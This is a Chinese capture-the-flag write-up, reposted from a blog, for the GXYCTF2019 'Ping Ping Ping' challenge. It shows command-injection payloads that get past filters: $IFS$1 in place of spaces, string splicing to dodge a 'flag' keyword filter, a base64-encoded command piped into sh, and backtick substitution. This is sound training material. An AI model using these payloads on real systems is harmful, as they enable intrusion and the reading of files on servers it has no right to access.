[GXYCTF2019]Ping Ping Ping1
打开靶机
结合题目名称，考虑是命令注入，试试ls
结果应该就在flag.php。尝试构造命令注入载荷。 cat flag.php
可以看到过滤了空格,用 $IFS$1替换空格
还过滤了flag，我们用字符拼接的方式看能否绕过,a=g;cat$IFS$1fla$a.php。注意这里用分号间隔，所以不能用管道符连接了。
可以看到flag了。这里有个坑，这段是纯php代码，所以在页面上没有显示出来，要注意观察界面的源码。
其实可以先看一下index.php
基本上可以看到过滤了哪些内容。所以还可以用base64编码绕过过滤
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
既然ls能把flag找出来， 则还可以利用内联的方式获取flag cat$IFS$1`ls`
放一个命令注入的介绍：命令注入以及常见绕过方式_命令注入如何绕过空色-CSDN博客
原文地址：https://blog.csdn.net/jamesP777/article/details/140498164
免责声明：本站文章内容转载自网络资源，如本站内容侵犯了原著者的合法权益，可联系本站删除。更多内容请关注自学内容网（zxcms.com）！